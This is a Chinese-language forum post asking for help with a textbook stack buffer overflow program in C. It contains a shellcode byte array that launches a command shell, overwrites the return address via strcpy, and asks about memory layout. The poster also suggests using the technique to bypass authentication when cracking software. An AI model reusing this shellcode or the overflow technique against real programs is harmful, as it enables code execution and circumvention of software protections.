一段程序求姐
#include <string.h>#include "stdio.h"
char shellcode[] =
{
0x8B,0xE5, 0x55,0x8B,0xEC,0x83,0xEC,0x0C,0xB8,
0x63,0x6F,0x6D,0x6D,0x6D,0x6D,0x6F,0x63,0x89,
0x45,0xF4,0xB8,0x61,0x6E,0x64,0x2E,0x89,0x45,
0xF8,0xB8,0x63,0x6F,0x6D,0x22,0x89,0x45,0xFC,
0x33,0xD2, 0x88,0x55,0xFF, 0x8D,0x45,0xF4,
0x50, 0xB8,0x24,0x98,0x01,0x78, 0xFF,0xD0
};
char large_string[128];
void main(){
char buffer[96];
int i;
int *larg_ptr=large_string; //将char字符数组的首地址赋值给一个int 类型的指针,进行int 格式的引用,针对内存的读取方式改变
for(i=0;i<32;i++)
*(larg_ptr+i)=buffer; // 将32位buffer的地址放入large_string 的整个数据块中
for(i=0;i<strlen(shellcode);i++)
large_string[i]=shellcode[i]; //将shellcode的内容按照字节方式放进large_string中
strcpy(buffer,large_string); //字符的copy 将larg_string 数据块复制到buffer所指向的数据块中,按字符方式进行
for(i=0;i<24;i++)
printf("%d\n",((int*)buffer)[i]); //这里是强制类型转换输出结果,意思是将char型指针内型强制转换成int型进行内存操作
printf("%d\n",buffer);
}
疑问1. 打印buffer的地址 与 printf("%d\n",((int*)buffer)[i]); 的对比
数组larger[128]首先全部存放buffer地址后,再将shellcode[] 从头放进去 也就是larger里面存放内容应该是52个字节的 shellcod里的内容 +(128-52)/4个buffer 的地址 组成的
通过函数strcpy 将larger数组的内容copy到这个buffer[96]中
那么这个buffer[96]里面就应该包含了shellcode的内容 和11个buffer的地址
那么对数组buffer[]的打印里应该有 buffer的地址值在里面
打印出来的结果除了 一个数值是和 buffer的地址相同外 其他的都不相同 , 求解释
疑问2 在函数中 有两个全局变量 和 局部变量 buffer[]
利用printf()出 这几个变量的内存地址 发现 局部变量和 全局变量根本就不在同一内存块中
操作系统在调用main函数的时候 是首先将要传送给main函数的变量先入栈后 还有eip入栈后 在进行函数调用
函数调用的序前工作是
设置堆栈
pushl ebp
movl ebp,esp
subl esp,xx
函数运行过程中变量需要的内存大小 是有xx 决定的
要多大就给多大的内存
从esp所指的地方开始 按变量声明的顺序逆序的从低地址向高地址存放
这个在局部变量中 是成立的
这个全局变量在内存中 怎么开辟的数据区域 求解释
另附带对程序附带作用,这个是最基本的 数据堆栈溢出的程序
就是利用写内存的方式 将内存区的 函数返回地址ret点的数据修改成指向数组buffer的地址上,而这个地址上放的是可执行的机器码 来达到运行自己想要的程序
这个方式是直接将机器码写进去
还有一种方法是写跳转指令 jmp 来达到这个目的
首先肯定是要将自己的程序写进内存中
中心思想是修改ret 程序还回的地址值
嘿嘿,这个可以用来绕过某些程序的运行跳到程序的另一部分去运行的,这个对破解软件来说 最好是这样就能躲过什么认证 什么认证的
还附带一个问题
int main()
{
printf("%d,%d\n",main,&main);
}
这个程序里的main和&main的值分别代表的什么意思啊 两个值打印出来一摸一样 这个不好理解啊
[ 本帖最后由 zhu224039 于 2012-11-21 05:31 编辑 ]